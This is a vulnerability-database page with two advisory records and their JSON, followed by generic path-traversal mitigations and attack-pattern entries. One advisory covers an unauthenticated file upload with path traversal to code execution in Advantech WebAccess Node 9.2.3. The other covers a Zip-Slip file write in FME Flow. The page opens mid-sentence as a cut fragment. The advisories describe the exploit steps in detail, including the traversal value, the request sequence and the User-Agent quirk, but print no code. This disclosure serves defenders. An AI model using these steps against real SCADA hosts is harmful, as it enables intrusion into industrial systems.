those files and asserts they are the real product's, but does not log the extraction step, so no end-to-end provenance chain is claimed - what is asserted is that nothing in them was altered for the test. Three accommodations modified the hosting environment, not the vulnerable code: CrystalDecisions assembly redirects to match the lab host's GAC, a log4net copy from the legacy GAC_32 location, and the LocalSystem pool identity. Also not exercised: no interaction with the rest of the product; no network-path test, every request having traversed loopback from one Windows host with no firewall, reverse proxy, WAF or TLS terminator in between; no GET-only variant of request 1; no overwrite test, no non-page payload and no persistence test; no privilege enumeration under a restricted pool. What is nevertheless established at strength: two independent client implementations with two independently written payloads of different sizes (510 and 450 bytes) and different leaf names produced the same result, corroborated from the target filesystem and the IIS W3C log rather than from client responses alone - the written page sat in the application root at exactly 510 bytes, byte-identical to what was transmitted, with an on-disk timestamp matching the logged POST, and the log shows the two POSTs returning 200 then 500 immediately followed by a 200 for the uploaded file. An attacker-chosen marker was echoed and a second, unrelated binary invoked on the same command line. An independent adversarial review attacked the chain from seven angles and did not refute it; only the execution-identity angle returned partially confirmed. A separate re-analysis pass over the same decompiled sources independently returned CONFIRMED. Also recorded in the advisory, from the same exhaustion pass over the web tier: a genuine SQL injection in the unauthenticated /Login operation of the product's WCF mobile service, which does NOT escalate to code execution because that path's backend is a Microsoft Access .mdb offering no xp_cmdshell or comparable OLE-automation primitive, and the SQL Server SQLEXPRESS instance elsewhere in the product is not reached from it. Affected-version statement: 9.2.3 is the only release whose binaries were decompiled and exercised; other versions were not enumerated and no cross-version byte comparison was performed. Validate your own build. Remediation is set out in the advisory in priority order and reduces to: validate the extensio
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Advantech Webaccess Node",
          "vendor": "N/A",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Advantech\nWebAccess Node 9.2.3, the closed-source industrial SCADA/HMI web server from\nAdvantech (Taiwan).\n\nType: unrestricted file upload (CWE-434) compounded by path traversal (CWE-22), on\na page that performs no authorization decision at all (CWE-306). CWE-73 and CWE-862\nalso map; CWE-250/CWE-269 apply conditionally where the pool runs at high\nprivilege. In the WaCrpt ASP.NET Web Forms application served under\n/broadweb/WaCrpt/, the fileSubmit_Click handler in bin\\WaCrpt.dll concatenates two\nattacker-supplied form fields into\nServer.MapPath(\"~/report/\" + projName + \"_\" + nodeName + \"/\"), gates the result on\nnothing but Directory.Exists(rptDirPath), then calls FileUpload1.SaveAs(filePath)\nwith no extension validation - and does so before it attempts to open the file as a\nCrystal Report. Reordering those two calls alone would break the chain.\n\nThe traversal rides in nodeName rather than in the uploaded filename, because\nASP.NET already strips any client-side directory from the multipart filename.\nSending nodeName = \\..\\..\\ normalises the destination to the WaCrpt application\nroot, a directory that always exists, so the provisioning check is satisfied with no\nreport project created and no report directory present; ASP.NET request validation\ninspects for HTML-dangerous sequences and not for backslash or dot-dot, so nothing\nfilters it. The bound is exactly two dot-dot levels - three or more are refused with\nHttpException \"Cannot use a leading .. to exit above the top directory\".\n\nThe chain is three HTTP requests plus a follow-on GET. Request 1 harvests\n__VIEWSTATE (1056 bytes) and __EVENTVALIDATION (92 bytes) while establishing the\ntraversed destination. Request 2 posts a 510-byte ASP.NET page as FileUpload1 with\nfileSubmit=Upload; SaveAs writes it into the application root, ReportDocument.Load\nthen throws and the server returns HTTP 500 - a red herring, since the write already\ncompleted. Request 3 GETs the written page, which the build manager compiles on first\nrequest and executes inside w3wp.exe, running cmd.exe /c with captured stdout. No\ncredentials, no user interaction, no race window, no memory corruption, no prior\nserver state. A User-Agent header is mandatory: without one the CrystalDecisions\nviewer control throws a NullReferenceException, the form never renders and the chain\nstalls at step 1 - a trap that makes an unaffected conclusion easy to reach wrongly.\n\nAuthentication. No authorization decision exists anywhere in the application, and\nthat half is artifact-proven: Page_Load performs no session, cookie, token or\nprincipal check and carries no auth filter, and its failure branch is a\nResponse.Redirect to the login page - a navigation aid, not an access denial. The\nshipped WaCrpt Web.config declares an authentication mode but has no authorization\ndeny rule and no custom authentication module; there is no global.asax in the\ndirectory; eight sibling files in the module call a session-existence check and\nCrystalRpt.cs is not among them. The omission signature is decisive: addTemplate.cs,\nthe SECOND report-upload handler in the same module, enforces a case-insensitive\n.RPT comparison while CrystalRpt.cs enforces nothing. The product has a working\nmechanism - waconfig90 controllers carry an auth filter with session plus csrfToken\nvalidation - and this page is not enrolled in it.\n\nThe one gap, stated as a gap: whether IIS delivers an anonymous request to the\nWaCrpt application path lives in the site\u0027s applicationHost.config, and no such\nexcerpt, no installer-authored IIS fragment and no vendor documentation of that\nfactory setting was obtained. PR:N is published on a structural argument plus lab\nreproduction, not on an extracted artifact - the product\u0027s own operator login page\ncannot function unless the hosting site accepts anonymous requests, and it is served\nby the same IIS site. An administrator who disabled anonymous authentication on that\npath, or fronted it with an authenticating gateway, is not exposed on this vector,\nand the conditional score below prices exactly that.\n\nScoring. All three readings the analysis priced are published:\n- PRIMARY, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n- CONDITIONAL, 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, applying\n  where IIS authentication is enforced on the WaCrpt application path or an\n  authenticating gateway fronts it; nothing else in the finding changes.\n- REJECTED, 8.1 High, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, considered\n  because the traversal depth and the mandatory User-Agent are non-obvious and\n  rejected because both are fixed constants under the attacker\u0027s control, which is\n  not the CVSS 3.1 meaning of AC:H.\nScope is Unchanged deliberately: the compromise executes as the pool identity of the\nvulnerable product\u0027s own web application, so the gain crosses a privilege level, not\na component\u0027s security scope. S:C on the same impact values would compute to 10.0\nand is not claimed.\n\nOn scoring accuracy: the primary vector computes to ISS 0.914816, Impact under S:U of\n5.873119, Exploitability 3.887043 and base 9.760161495, which the CVSS 3.1 Roundup\nrule renders as 9.8. The figure the research record carried for this finding is the\nfigure its own vector computes, so no correction was required. We say so because\nseveral earlier advisories in this repository carried recorded scores that did not\ncompute for their recorded vectors; those are being recomputed rather than copied.\n\nImpact. Confidentiality High: full read of the product\u0027s configuration, the SCADA\nproject tree it serves and database connection material - these nodes routinely hold\nthe point list, alarm configuration and historian data for the monitored process.\nIntegrity High: a generic write primitive placing an attacker-named file with\nattacker-chosen content into a served, script-executing directory, plus arbitrary\ncommand execution, making product binaries, configuration, the report tree, tag and\nalarm data and host state modifiable; manipulation of served HMI content, tag values\nand alarm thresholds is why this is an operational-technology incident and not only\na web-application one. Availability High: the web tier, the SCADA runtime it fronts\nand the host can be stopped or corrupted, removing operator visibility of the\nmonitored process even where the controlled process keeps running.\n\nExecution identity caveat. The verified identity was nt authority\\system with\nSeTcbPrivilege, SeDebugPrivilege, SeImpersonatePrivilege and SeBackupPrivilege\nenabled - the full SYSTEM set - but that was the VERIFICATION application pool,\nconfigured in the lab as LocalSystem. No shipped pool identity is asserted: the\ninstaller binds broadweb to DefaultAppPool and a separate helper writes the pool\u0027s\nIdentityType at install time, a value that could not be resolved from static\nstrings. The rating does not depend on it, since C:H/I:H/A:H are assessed on the\ncode-execution primitive itself.\n\nRelationship to previously published work. A previously published advisory covers an\nunrestricted file upload on this product scored 8.8 with\nAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - PR:L, an authenticated caller - affecting\n9.2.1 with a fix in 9.2.2, and it does not name the affected endpoint. This finding\nis PR:N, and the unvalidated sink was confirmed by decompilation in 9.2.3, after that\nfix. Two readings are consistent with the evidence and the advisory does not pretend\nto settle between them: either the earlier fix addressed a different upload path and\nCrystalRpt.aspx was never covered, making this an independent unauthenticated\nvariant, or the fix did not close the unauthenticated route into the same code,\nmaking this an incomplete-fix variant. Without a byte-level diff between 9.2.2 and\n9.2.3, overlap cannot be excluded to certainty, and the advisory says so rather than\nclaiming more novelty than the evidence carries.\n\nVerification boundary, stated plainly. Everything dynamic was produced by deploying\nthe shipped WaCrpt application - CrystalRpt.aspx (2381 bytes), Web.config and\nbin\\WaCrpt.dll, the shipped files as documented in the research record, used without\nmodification - into a real IIS site and driving it over HTTP on loopback. The whole\nrequest path is genuine: IIS request handling, the Web Forms pipeline, event\ndispatch into fileSubmit_Click, Server.MapPath normalisation, FileUpload.SaveAs, the\nbuild manager compiling a freshly written page and process creation in w3wp.exe.\n\nA complete default installation of WebAccess Node 9.2.3 was NOT achieved: the 1.9 GB\nself-extracting installer hung in Session 0 and never produced a stock,\nvendor-configured deployment, so the test was surgical rather than end-to-end. Three\nconsequences are carried explicitly. First, the site configuration was authored in\nthe lab rather than read from the installer and the application was served at the\nsite root over loopback, so the /broadweb/WaCrpt/ prefix is derived from a literal\ninside the decompiled Page_Load - the Response.Redirect to\n/broadweb/user/signinonly.asp - plus the application\u0027s placement in the\ndistribution, and is strong inference rather than an observed request against a stock\ninstall. Second, the SYSTEM identity was the lab pool\u0027s; the shipped site binding,\nshipped pool identity and interaction with the rest of the product were never\nobserved at runtime. Third, the record documents the installer and its size and an\nunpacked deployment archive holding those files and asserts they are the real\nproduct\u0027s, but does not log the extraction step, so no end-to-end provenance chain is\nclaimed - what is asserted is that nothing in them was altered for the test. Three\naccommodations modified the hosting environment, not the vulnerable code:\nCrystalDecisions assembly redirects to match the lab host\u0027s GAC, a log4net copy from\nthe legacy GAC_32 location, and the LocalSystem pool identity.\n\nAlso not exercised: no interaction with the rest of the product; no network-path\ntest, every request having traversed loopback from one Windows host with no\nfirewall, reverse proxy, WAF or TLS terminator in between; no GET-only variant of\nrequest 1; no overwrite test, no non-page payload and no persistence test; no\nprivilege enumeration under a restricted pool.\n\nWhat is nevertheless established at strength: two independent client implementations\nwith two independently written payloads of different sizes (510 and 450 bytes) and\ndifferent leaf names produced the same result, corroborated from the target\nfilesystem and the IIS W3C log rather than from client responses alone - the written\npage sat in the application root at exactly 510 bytes, byte-identical to what was\ntransmitted, with an on-disk timestamp matching the logged POST, and the log shows\nthe two POSTs returning 200 then 500 immediately followed by a 200 for the uploaded\nfile. An attacker-chosen marker was echoed and a second, unrelated binary invoked on\nthe same command line. An independent adversarial review attacked the chain from\nseven angles and did not refute it; only the execution-identity angle returned\npartially confirmed. A separate re-analysis pass over the same decompiled sources\nindependently returned CONFIRMED.\n\nAlso recorded in the advisory, from the same exhaustion pass over the web tier: a\ngenuine SQL injection in the unauthenticated /Login operation of the product\u0027s WCF\nmobile service, which does NOT escalate to code execution because that path\u0027s\nbackend is a Microsoft Access .mdb offering no xp_cmdshell or comparable\nOLE-automation primitive, and the SQL Server SQLEXPRESS instance elsewhere in the\nproduct is not reached from it.\n\nAffected-version statement: 9.2.3 is the only release whose binaries were decompiled\nand exercised; other versions were not enumerated and no cross-version byte\ncomparison was performed. Validate your own build.\n\nRemediation is set out in the advisory in priority order and reduces to: validate\nthe extensio"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-250",
              "description": "CWE-250",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-269",
              "description": "CWE-269",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-306",
              "description": "CWE-306",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-434",
              "description": "CWE-434",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-73",
              "description": "CWE-73",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:00Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/2"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/2"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/advantech-webaccess-crystalrpt-unauth-file-upload-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/2"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] Advantech WebAccess Node 9.2.3 unauthenticated CrystalRpt.aspx file upload and path traversal to code execution in w3wp.exe (9.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0465",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/2",
            "automated": true,
            "contentSha256": "5c8055491691e87037814c975bf7716eb7f5af66a1d419f25cf299769481a80d",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/2",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-05T17:52:23Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:00Z",
    "dateUpdated": "2026-11-02T07:30:00Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0465"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0425

Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
Title
[0day-rubbish] FME Flow 2026.2 Zip-Slip arbitrary file write to code execution as LocalSystem (8.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Safe Software FME Flow 2026.2 build 26333. Type: path-traversal write inside archive extraction (Zip-Slip) in COM.safe.web.upload.StoreManager.extract(), shipped in clients-webservicesutil-1.0.jar (CWE-22). The sink builds each destination path from ZipArchiveEntry.getName() verbatim; commons-compress 1.26.2 does not normalise "..", and the class's own canonical containment check isPathValid() is called only from the constructor, never from the extraction path. Scoring. This finding is dual-scored, and the conditional figure is a non-default configuration that is published alongside the primary, not instead of it: - PRIMARY, 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. This is the post-authentication rating: any authenticated user, including the low-privilege fmeuser and fmeguest roles, can drive it. The upload branch that sets opt_extractarchive=true performs no role or isPermitted check. - CONDITIONAL, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This applies only where a public app is published with requireAuthentication=false and allowTemporaryUploads=true, which is NOT a shipped default. The 9.8 figure is conditional and is not the headline. Impact: arbitrary file write anywhere the Tomcat process can write, outside the upload sandbox (create-only; an existing destination file is neither truncated nor overwritten). On a default single-machine Windows install the repository root and WEBAPPSDIR share one ancestor volume, so the write reaches an expanded web application's document root; with unpackWARs=true, no /* servlet mapping in fmeserver.war, and Tomcat installed as the FMEFlowAppServer service running as .\LocalSystem, requesting the dropped .jsp yields command execution as LocalSystem. This is a low-privilege-to-LocalSystem escalation. Authentication: authenticated (any valid token; no role check on the archive extraction branch). Verification boundary, stated plainly. We verified the vulnerable code itself, not a deployed installation. A harness compiled against the exact jars that ship with FME Flow 2026.2 called the real StoreManager.extract on a Linux lab host against Tomcat 10.1.42 on loopback; a zip entry name carrying enough "../" wrote a .jsp outside the sandbox and the container then compiled and executed it (marker recorded uid=0 on the Linux host). A complete Windows FME Flow installation was NOT deployed (it requires PostgreSQL plus a product licence), so the end-to-end HTTP delivery chain rests on the decompiled source rather than on a live run against the product. On Windows the Tomcat service identity is .\LocalSystem, established from installer artefacts (configureTomcat.bat and the MSI property FMEFLOWUSER=LocalSystem) rather than observed; the expected production marker is whoami = nt authority\system. This is distinct from the previously published HTTP path-traversal fixes in this product, whose ".." sequences travel in the request URL and are collapsed by the container's normalisation. Here the traversal travels inside zip entry names in the request body, which URL normalisation never inspects, so those fixes do not cover this vector. Full technical analysis and a reproducible proof-of-concept: https://0day-rubbish.com/blog/fme-flow-zipslip-arbitrary-file-write-rce Project archive (ongoing disclosure series): https://github.com/Exploit-Garbage/0day-Rubbish The vendor has been notified through its published security contact. No vulnerability identifier has been assigned to this finding yet. -- 0day Rubbish Research Team disclosure () 0day-rubbish com https://0day-rubbish.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
Impacted products
Vendor Product Version
Safe Fme Flow Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Fme Flow",
          "vendor": "Safe",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Safe\nSoftware FME Flow 2026.2 build 26333.\n\nType: path-traversal write inside archive extraction (Zip-Slip) in\nCOM.safe.web.upload.StoreManager.extract(), shipped in\nclients-webservicesutil-1.0.jar (CWE-22). The sink builds each destination path\nfrom ZipArchiveEntry.getName() verbatim; commons-compress 1.26.2 does not\nnormalise \"..\", and the class\u0027s own canonical containment check isPathValid() is\ncalled only from the constructor, never from the extraction path.\n\nScoring. This finding is dual-scored, and the conditional figure is a\nnon-default configuration that is published alongside the primary, not instead\nof it:\n- PRIMARY, 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. This is the\n  post-authentication rating: any authenticated user, including the\n  low-privilege fmeuser and fmeguest roles, can drive it. The upload branch that\n  sets opt_extractarchive=true performs no role or isPermitted check.\n- CONDITIONAL, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This\n  applies only where a public app is published with requireAuthentication=false\n  and allowTemporaryUploads=true, which is NOT a shipped default. The 9.8 figure\n  is conditional and is not the headline.\n\nImpact: arbitrary file write anywhere the Tomcat process can write, outside the\nupload sandbox (create-only; an existing destination file is neither truncated\nnor overwritten). On a default single-machine Windows install the repository root\nand WEBAPPSDIR share one ancestor volume, so the write reaches an expanded web\napplication\u0027s document root; with unpackWARs=true, no /* servlet mapping in\nfmeserver.war, and Tomcat installed as the FMEFlowAppServer service running as\n.\\LocalSystem, requesting the dropped .jsp yields command execution as\nLocalSystem. This is a low-privilege-to-LocalSystem escalation.\n\nAuthentication: authenticated (any valid token; no role check on the archive\nextraction branch).\n\nVerification boundary, stated plainly. We verified the vulnerable code itself,\nnot a deployed installation. A harness compiled against the exact jars that ship\nwith FME Flow 2026.2 called the real StoreManager.extract on a Linux lab host\nagainst Tomcat 10.1.42 on loopback; a zip entry name carrying enough \"../\"\nwrote a .jsp outside the sandbox and the container then compiled and executed\nit (marker recorded uid=0 on the Linux host). A complete Windows FME Flow\ninstallation was NOT deployed (it requires PostgreSQL plus a product licence), so\nthe end-to-end HTTP delivery chain rests on the decompiled source rather than on\na live run against the product. On Windows the Tomcat service identity is\n.\\LocalSystem, established from installer artefacts (configureTomcat.bat and the\nMSI property FMEFLOWUSER=LocalSystem) rather than observed; the expected\nproduction marker is whoami = nt authority\\system.\n\nThis is distinct from the previously published HTTP path-traversal fixes in this\nproduct, whose \"..\" sequences travel in the request URL and are collapsed by the\ncontainer\u0027s normalisation. Here the traversal travels inside zip entry names in\nthe request body, which URL normalisation never inspects, so those fixes do not\ncover this vector.\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/fme-flow-zipslip-arbitrary-file-write-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/72"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/72"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/fme-flow-zipslip-arbitrary-file-write-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/72"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] FME Flow 2026.2 Zip-Slip arbitrary file write to code execution as LocalSystem (8.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0425",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/72",
            "automated": true,
            "contentSha256": "23651f5ffa5d040159cb766682384ddd2f9c01320025ebb98c968b5e813f4900",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/72",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T04:53:59Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0425"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

